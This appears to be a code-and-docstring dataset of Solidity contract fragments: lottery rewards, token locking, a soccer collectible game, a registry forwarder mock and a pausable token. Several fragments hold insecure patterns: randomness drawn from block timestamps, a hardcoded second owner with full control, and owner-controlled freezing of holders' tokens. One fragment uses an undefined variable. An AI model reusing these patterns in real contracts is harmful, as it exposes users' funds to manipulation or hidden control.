mintRewardCore( _lucker, _curRoundId, _tNumberFrom, _tNumberTo, _value, _rewardType); } // reward logs generator function mintRewardCore( address _lucker, uint256 _curRoundId, uint256 _tNumberFrom, uint256 _tNumberTo, uint256 _value, uint256 _rewardType) private { Rewards memory _reward; _reward.lucker = _lucker; _reward.time = block.timestamp; _reward.rId = _curRoundId; _reward.value = _value; // get winning number if rewardType is not bounty or sBounty // seed = rewardList.length to be sure that seed changed after // every reward minting if (_rewardType < 3) _reward.winNumber = getWinNumberBySlot(_tNumberFrom, _tNumberTo); _reward.rewardType = _rewardType; rewardList.push(_reward); pReward[_lucker].push(rewardList.length - 1); // reward sum logs pRewardedSum[_lucker] += _value; rRewardedSum[_curRoundId] += _value; rewardedSum += _value; pRewardedSumPerRound[_lucker][_curRoundId] += _value; emit NewReward(_reward.lucker, [_reward.time, _reward.rId, _reward.value, _reward.winNumber, uint256(_reward.rewardType)]); } function getWinNumberBySlot(uint256 _tNumberFrom, uint256 _tNumberTo) public view returns(uint256) { //uint256 _seed = uint256(keccak256(rewardList.length)); uint256 _seed = rewardList.length * block.number + block.timestamp; // get random number in range (1, _to - _from + 1) uint256 _winNr = Helper.getRandom(_seed, _tNumberTo + 1 - _tNumberFrom); return _tNumberFrom + _winNr - 1; } function getPRewardLength(address _sender) public view returns(uint256) { return pReward[_sender].length; } function getRewardListLength() public view returns(uint256) { return rewardList.length; } function getPRewardId(address _sender, uint256 i) public view returns(uint256) { return pReward[_sender][i]; } function getPRewardedSumByRound(uint256 _rId, address _buyer) public view returns(uint256) { return pRewardedSumPerRound[_buyer][_rId]; } function getRewardedSumByRound(uint256 _rId) public view returns(uint256) { return rRewardedSum[_rId]; } function getRewardInfo(uint256 _id) public view returns( address, uint256, uint256, uint256, uint256, uint256 ) { Rewards memory _reward = rewardList[_id]; return ( _reward.lucker, _reward.winNumber, _reward.time, _reward.rId, _reward.value, _reward.rewardType ); } }
used to draw grandpot results weightRange = roundWeight grandpot / (grandpot - initGrandPot) grandPot = initGrandPot + round investedSum(for grandPot)calculate round grandPot-investedSum
function getWeightRange(uint256 grandPot, uint256 initGrandPot, uint256 curRWeight) public pure returns(uint256) { uint256 grandPotInvest = grandPot - initGrandPot; if (grandPotInvest == 0) return 8; uint256 zoomMul = grandPot * ZOOM / grandPotInvest; uint256 weightRange = zoomMul * curRWeight / ZOOM; if (weightRange < curRWeight) weightRange = curRWeight; return weightRange; }
6,847,704
./full_match/5/0xF9098501eDc295B95fce077e0Ab1DF8BdF39c0c9/sources/project_/contracts/SweetToken.sol
Locks a certain amount of tokens for an account account address of the account to lock tokens for amount amount of tokens to lock/ If the purchase amount is larger than the current token balance of the account (indicating a first purchase, or a purchase larger than the current amount), select a random number from the blocksPerUnlockPeriodPool
function _lockTokens(address account, uint256 amount) internal { uint256 newPurchaseLocked = amount * LOCKED_TOKEN_PERCENTAGE / 100; uint256 previouslyLocked = _locked[account].amount; uint256 randomBlocksPerPeriod = blocksPerUnlockPeriodPool[uint256(keccak256(abi.encodePacked(block.timestamp, account, amount))) % blocksPerUnlockPeriodPool.length]; if (amount > balanceOf(account)) { _locked[account].blocksPerPeriod = randomBlocksPerPeriod; } _locked[account].blocksPerPeriod = newBlocksPerPeriod > _locked[account].blocksPerPeriod ? newBlocksPerPeriod : _locked[account].blocksPerPeriod; emit TokensLocked(account, newPurchaseLocked); }
1,899,016
./partial_match/1/0x44383018ecf3DBED34eE621439a5Ff6002e8209b/sources/contracts/libraries/ValidationLibV1.sol
Reverts if the key does not resolve in a valid cover contract or if the cover is under governance. coverKey Enter the cover key to check productKey Enter the product key to check/
function mustHaveNormalProductStatus( IStore s, bytes32 coverKey, bytes32 productKey ) external view { require(s.getBoolByKeys(ProtoUtilV1.NS_COVER, coverKey), "Cover does not exist"); require(s.getProductStatusInternal(coverKey, productKey) == CoverUtilV1.ProductStatus.Normal, "Status not normal"); }
10,998,138
//Address: 0x89b5eaec2702ab0ff33ca397b3e66c7d925d5144 //Contract name: Soccer //Balance: 0 Ether //Verification Date: 2/21/2018 //Transacion Count: 643 // CODE STARTS HERE pragma solidity ^0.4.19; contract Soccer { using SafeMath for uint256; /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new collectible comes into existence. event Birth(uint256 tokenId, uint256 startPrice); /// @dev The TokenSold event is fired whenever a token is sold. event TokenSold(uint256 indexed tokenId, uint256 price, address prevOwner, address winner); // ERC721 Transfer event Transfer(address indexed from, address indexed to, uint256 tokenId); // ERC721 Approval event Approval(address indexed owner, address indexed approved, uint256 tokenId); /*** CONSTANTS ***/ string public constant NAME = "SoccerAllStars"; string public constant SYMBOL = "SAS"; /*** STORAGE ***/ struct Token { address owner; uint256 price; } mapping (uint256 => Token) collectibleIdx; mapping (uint256 => address[3]) mapToLastOwners; mapping (uint256 => address) collectibleIndexToApproved; uint256[] private tokens; // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cooAddress; uint16 constant NATION_INDEX = 1000; uint32 constant CLUB_INDEX = 1000000; uint256 private constant PROMO_CREATION_LIMIT = 50000; uint256 public promoCreatedCount; uint256 constant PLAYER_PRICE = 1 finney; uint256 constant CLUB_PRICE = 10 finney; uint256 constant NATION_PRICE = 100 finney; /*** CONSTRUCTOR ***/ function Soccer() public { ceoAddress = msg.sender; cooAddress = msg.sender; } function getTotalSupply() public view returns (uint) { return tokens.length; } function getInitialPriceOfToken(uint _tokenId) public pure returns (uint) { if (_tokenId > CLUB_INDEX) return PLAYER_PRICE; if (_tokenId > NATION_INDEX) return CLUB_PRICE; return NATION_PRICE; } function getNextPrice(uint price, uint _tokenId) public pure returns (uint) { if (price < 0.05 ether) return price.mul(200).div(93); //x2 if (price < 0.5 ether) return price.mul(150).div(93); //x1.5 if (price < 2 ether) return price.mul(130).div(93); //x1.3 return price.mul(120).div(93); //x1.2 } function buyToken(uint _tokenId) public payable { require(!isContract(msg.sender)); Token memory token = collectibleIdx[_tokenId]; address oldOwner = address(0); uint256 sellingPrice; if (token.owner == address(0)) { sellingPrice = getInitialPriceOfToken(_tokenId); token = Token({ owner: msg.sender, price: sellingPrice }); } else { oldOwner = token.owner; sellingPrice = token.price; require(oldOwner != msg.sender); } require(msg.value >= sellingPrice); address[3] storage lastOwners = mapToLastOwners[_tokenId]; uint256 payment = _handle(_tokenId, sellingPrice, lastOwners); // Transfers the Token token.owner = msg.sender; token.price = getNextPrice(sellingPrice, _tokenId); mapToLastOwners[_tokenId] = _addLastOwner(lastOwners, oldOwner); collectibleIdx[_tokenId] = token; if (oldOwner != address(0)) { // Payment for old owner oldOwner.transfer(payment); // clear any previously approved ownership exchange delete collectibleIndexToApproved[_tokenId]; } else { Birth(_tokenId, sellingPrice); tokens.push(_tokenId); } TokenSold(_tokenId, sellingPrice, oldOwner, msg.sender); Transfer(oldOwner, msg.sender, _tokenId); // refund when paid too much uint256 purchaseExcess = msg.value.sub(sellingPrice); if (purchaseExcess > 0) { msg.sender.transfer(purchaseExcess); } } function _handle(uint256 _tokenId, uint256 sellingPrice, address[3] lastOwners) private returns (uint256) { uint256 pPrice = sellingPrice.div(100); uint256 tax = pPrice.mul(7); // initial dev cut = 7% if (_tokenId > CLUB_INDEX) { uint256 clubId = _tokenId % CLUB_INDEX; Token storage clubToken = collectibleIdx[clubId]; if (clubToken.owner != address(0)) { uint256 clubTax = pPrice.mul(2); // 2% club tax; tax += clubTax; clubToken.owner.transfer(clubTax); } uint256 nationId = clubId % NATION_INDEX; Token storage nationToken = collectibleIdx[nationId]; if (nationToken.owner != address(0)) { tax += pPrice; // 1% nation tax; nationToken.owner.transfer(pPrice); } } else if (_tokenId > NATION_INDEX) { nationId = _tokenId % NATION_INDEX; nationToken = collectibleIdx[nationId]; if (nationToken.owner != address(0)) { tax += pPrice; // 1% nation tax; nationToken.owner.transfer(pPrice); } } //Pay tax to the previous 3 owners uint256 lastOwnerTax; if (lastOwners[0] != address(0)) { tax += pPrice; // 1% 3rd payment lastOwners[0].transfer(pPrice); } if (lastOwners[1] != address(0)) { lastOwnerTax = pPrice.mul(2); // 2% 2nd payment tax += lastOwnerTax; lastOwners[1].transfer(lastOwnerTax); } if (lastOwners[2] != address(0)) { lastOwnerTax = pPrice.mul(3); // 3% 1st payment tax += lastOwnerTax; lastOwners[2].transfer(lastOwnerTax); } return sellingPrice.sub(tax); } function _addLastOwner(address[3] lastOwners, address oldOwner) pure private returns (address[3]) { lastOwners[0] = lastOwners[1]; lastOwners[1] = lastOwners[2]; lastOwners[2] = oldOwner; return lastOwners; } /*** ACCESS MODIFIERS ***/ /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// Access modifier for contract owner only functionality modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == cooAddress ); _; } /*** PUBLIC FUNCTIONS ***/ /// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom(). /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve(address _to, uint256 _tokenId) public { // Caller must own token. require(_owns(msg.sender, _tokenId)); collectibleIndexToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } /// @dev Creates a new promo collectible with the given name, with given _price and assignes it to an address. function createPromoCollectible(uint256 tokenId, address _owner, uint256 _price) public onlyCLevel { Token memory token = collectibleIdx[tokenId]; require(token.owner == address(0)); require(promoCreatedCount < PROMO_CREATION_LIMIT); address collectibleOwner = _owner; if (collectibleOwner == address(0)) { collectibleOwner = cooAddress; } if (_price <= 0) { _price = getInitialPriceOfToken(tokenId); } promoCreatedCount++; token = Token({ owner: collectibleOwner, price: _price }); collectibleIdx[tokenId] = token; Birth(tokenId, _price); tokens.push(tokenId); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(address(0), collectibleOwner, tokenId); } bool isChangePriceLocked = false; // allows owners of tokens to decrease the price of them or if there is no owner the coo can do it function changePrice(uint256 _tokenId, uint256 newPrice) public { require((_owns(msg.sender, _tokenId) && !isChangePriceLocked) || (_owns(address(0), _tokenId) && msg.sender == cooAddress)); Token storage token = collectibleIdx[_tokenId]; require(newPrice < token.price); token.price = newPrice; collectibleIdx[_tokenId] = token; } function unlockPriceChange() public onlyCLevel { isChangePriceLocked = false; } function lockPriceChange() public onlyCLevel { isChangePriceLocked = true; } /// @notice Returns all the relevant information about a specific collectible. /// @param _tokenId The tokenId of the collectible of interest. function getToken(uint256 _tokenId) public view returns (uint256 tokenId, uint256 sellingPrice, address owner, uint256 nextSellingPrice) { tokenId = _tokenId; Token storage token = collectibleIdx[_tokenId]; sellingPrice = token.price; if (sellingPrice == 0) sellingPrice = getInitialPriceOfToken(_tokenId); owner = token.owner; nextSellingPrice = getNextPrice(sellingPrice, _tokenId); } function implementsERC721() public pure returns (bool) { return true; } /// @dev Required for ERC-721 compliance. function name() public pure returns (string) { return NAME; } /// For querying owner of token /// @param _tokenId The tokenID for owner inquiry /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) public view returns (address owner) { Token storage token = collectibleIdx[_tokenId]; require(token.owner != address(0)); owner = token.owner; } function payout(address _to) public onlyCLevel { _payout(_to); } function priceOf(uint256 _tokenId) public view returns (uint256 price) { Token storage token = collectibleIdx[_tokenId]; if (token.owner == address(0)) { price = getInitialPriceOfToken(_tokenId); } else { price = token.price; } } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current COO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Required for ERC-721 compliance. function symbol() public pure returns (string) { return SYMBOL; } /// @notice Allow pre-approved user to take ownership of a token /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _tokenId) public { address newOwner = msg.sender; Token storage token = collectibleIdx[_tokenId]; require(token.owner != address(0)); address oldOwner = token.owner; // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure transfer is approved require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); } /// Owner initates the transfer of the token to another account /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) public { require(_owns(msg.sender, _tokenId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _tokenId); } /// Third-party initiates transfer of token from address _from to address _to /// @param _from The address for the token to be transferred from. /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(_owns(_from, _tokenId)); require(_approved(_to, _tokenId)); require(_addressNotNull(_to)); _transfer(_from, _to, _tokenId); } /*** PRIVATE FUNCTIONS ***/ /// Safety check on _to address to prevent against an unexpected 0x0 default. function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } /// For checking approval of transfer for address _to function _approved(address _to, uint256 _tokenId) private view returns (bool) { return collectibleIndexToApproved[_tokenId] == _to; } /// Check for token ownership function _owns(address claimant, uint256 _tokenId) private view returns (bool) { Token storage token = collectibleIdx[_tokenId]; return claimant == token.owner; } /// For paying out balance on contract function _payout(address _to) private { if (_to == address(0)) { ceoAddress.transfer(this.balance); } else { _to.transfer(this.balance); } } /// For querying balance of a particular account /// @param _owner The address for balance query /// @dev Required for ERC-721 compliance. function balanceOf(address _owner) public view returns (uint256 result) { uint256 totalTokens = tokens.length; uint256 tokenIndex; uint256 tokenId; result = 0; for (tokenIndex = 0; tokenIndex < totalTokens; tokenIndex++) { tokenId = tokens[tokenIndex]; if (collectibleIdx[tokenId].owner == _owner) { result = result.add(1); } } return result; } /// @dev Assigns ownership of a specific Collectible to an address. function _transfer(address _from, address _to, uint256 _tokenId) private { //transfer ownership collectibleIdx[_tokenId].owner = _to; // When creating new collectibles _from is 0x0, but we can't account that address. if (_from != address(0)) { // clear any previously approved ownership exchange delete collectibleIndexToApproved[_tokenId]; } // Emit the transfer event. Transfer(_from, _to, _tokenId); } /// @param _owner The owner whose celebrity tokens we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire tokens array looking for tokens belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalTokens = getTotalSupply(); uint256 resultIndex = 0; uint256 tokenIndex; uint256 tokenId; for (tokenIndex = 0; tokenIndex < totalTokens; tokenIndex++) { tokenId = tokens[tokenIndex]; if (collectibleIdx[tokenId].owner == _owner) { result[resultIndex] = tokenId; resultIndex = resultIndex.add(1); } } return result; } } /* Util */ function isContract(address addr) private view returns (bool) { uint size; assembly { size := extcodesize(addr) } // solium-disable-line return size > 0; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
Creates a new promo collectible with the given name, with given _price and assignes it to an address.
function createPromoCollectible(uint256 tokenId, address _owner, uint256 _price) public onlyCLevel { Token memory token = collectibleIdx[tokenId]; require(token.owner == address(0)); require(promoCreatedCount < PROMO_CREATION_LIMIT); address collectibleOwner = _owner; if (collectibleOwner == address(0)) { collectibleOwner = cooAddress; } if (_price <= 0) { _price = getInitialPriceOfToken(tokenId); } promoCreatedCount++; token = Token({ owner: collectibleOwner, price: _price }); collectibleIdx[tokenId] = token; Birth(tokenId, _price); tokens.push(tokenId); } bool isChangePriceLocked = false;
6,444,000
pragma solidity 0.5.17; import "../DarknodeRegistry/DarknodeRegistry.sol"; /// @notice DarknodeRegistryForwarder implements the DNR's methods that are used /// by the DNP, and it forwards them all to the DNR except /// `isRegisteredInPreviousEpoch`, for which it returns false in order to make /// calls to `claim` revert. contract DarknodeRegistryForwarder { DarknodeRegistryLogicV1 dnr; constructor(DarknodeRegistryLogicV1 _dnr) public { dnr = _dnr; } /// @notice Returns if a darknode is in the registered state. function isRegistered(address _darknodeID) public view returns (bool) { return dnr.isRegistered(_darknodeID); } function currentEpoch() public view returns (uint256, uint256) { return dnr.currentEpoch(); } function getDarknodeOperator(address _darknodeID) public view returns (address payable) { return dnr.getDarknodeOperator(_darknodeID); } function isRegisteredInPreviousEpoch(address _darknodeID) public view returns (bool) { // return dnr.isRegisteredInPreviousEpoch(_darknodeID); return false; } function numDarknodesPreviousEpoch() public view returns (uint256) { return dnr.numDarknodesPreviousEpoch(); } }
return dnr.isRegisteredInPreviousEpoch(_darknodeID);
function isRegisteredInPreviousEpoch(address _darknodeID) public view returns (bool) { return false; }
12,745,888
pragma solidity 0.5.11; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balanceOf(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf(_from) >= _value); require(balances[_to].add(_value) > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is StandardToken { event Pause(); event Unpause(); bool public paused = false; address public founder; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused || msg.sender == founder); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract PausableToken is Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } //The functions below surve no real purpose. Even if one were to approve another to spend //tokens on their behalf, those tokens will still only be transferable when the token contract //is not paused. function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract Ymedical is PausableToken { string public name; string public symbol; uint8 public decimals; /** * @dev Constructor that gives the founder all of the existing tokens. */ constructor() public { name = "YMedical.Finance"; symbol = "YMedic"; decimals = 8; totalSupply = 30000*100000000; founder = msg.sender; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } /** @dev Fires on every freeze of tokens * @param _owner address The owner address of frozen tokens. * @param amount uint256 The amount of tokens frozen */ event TokenFreezeEvent(address indexed _owner, uint256 amount); /** @dev Fires on every unfreeze of tokens * @param _owner address The owner address of unfrozen tokens. * @param amount uint256 The amount of tokens unfrozen */ event TokenUnfreezeEvent(address indexed _owner, uint256 amount); event TokensBurned(address indexed _owner, uint256 _tokens); mapping(address => uint256) internal frozenTokenBalances; function freezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= balanceOf(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.add(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenFreezeEvent(_owner,_value); } function unfreezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= getFrozenBalance(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.sub(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenUnfreezeEvent(_owner,_value); } function setFrozenBalance(address _owner, uint256 _newValue) internal { frozenTokenBalances[_owner]=_newValue; } function balanceOf(address _owner) view public returns(uint256) { return getTotalBalance(_owner).sub(getFrozenBalance(_owner)); } function getTotalBalance(address _owner) view public returns(uint256) { return balances[_owner]; } /** * @dev Gets the amount of tokens which belong to the specified address BUT are frozen now. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount of frozen tokens owned by the passed address. */ function getFrozenBalance(address _owner) view public returns(uint256) { return frozenTokenBalances[_owner]; } /* * @dev Token burn function * @param _tokens uint256 amount of tokens to burn */ function burnTokens(uint256 _tokens) public onlyOwner { require(balanceOf(msg.sender) >= _tokens); balances[msg.sender] = balances[msg.sender].sub(_tokens); totalSupply = totalSupply.sub(_tokens); emit TokensBurned(msg.sender, _tokens); } }
Transfer tokens from one address to another _from address The address which you want to send tokens from _to address The address which you want to transfer to _value uint256 the amount of tokens to be transferred/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf(_from) >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; }
384,920
pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; address public owner2; address private owner2_address = 0x615B255EEE9cdb8BF1FA7db3EE101106673E8DCB; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; owner2 = owner2_address; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner || msg.sender == owner2); _; } modifier onlyOwner2() { require(msg.sender == owner2); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership2(address newOwner) public onlyOwner2 { require(newOwner != address(0)); OwnershipTransferred(owner2, 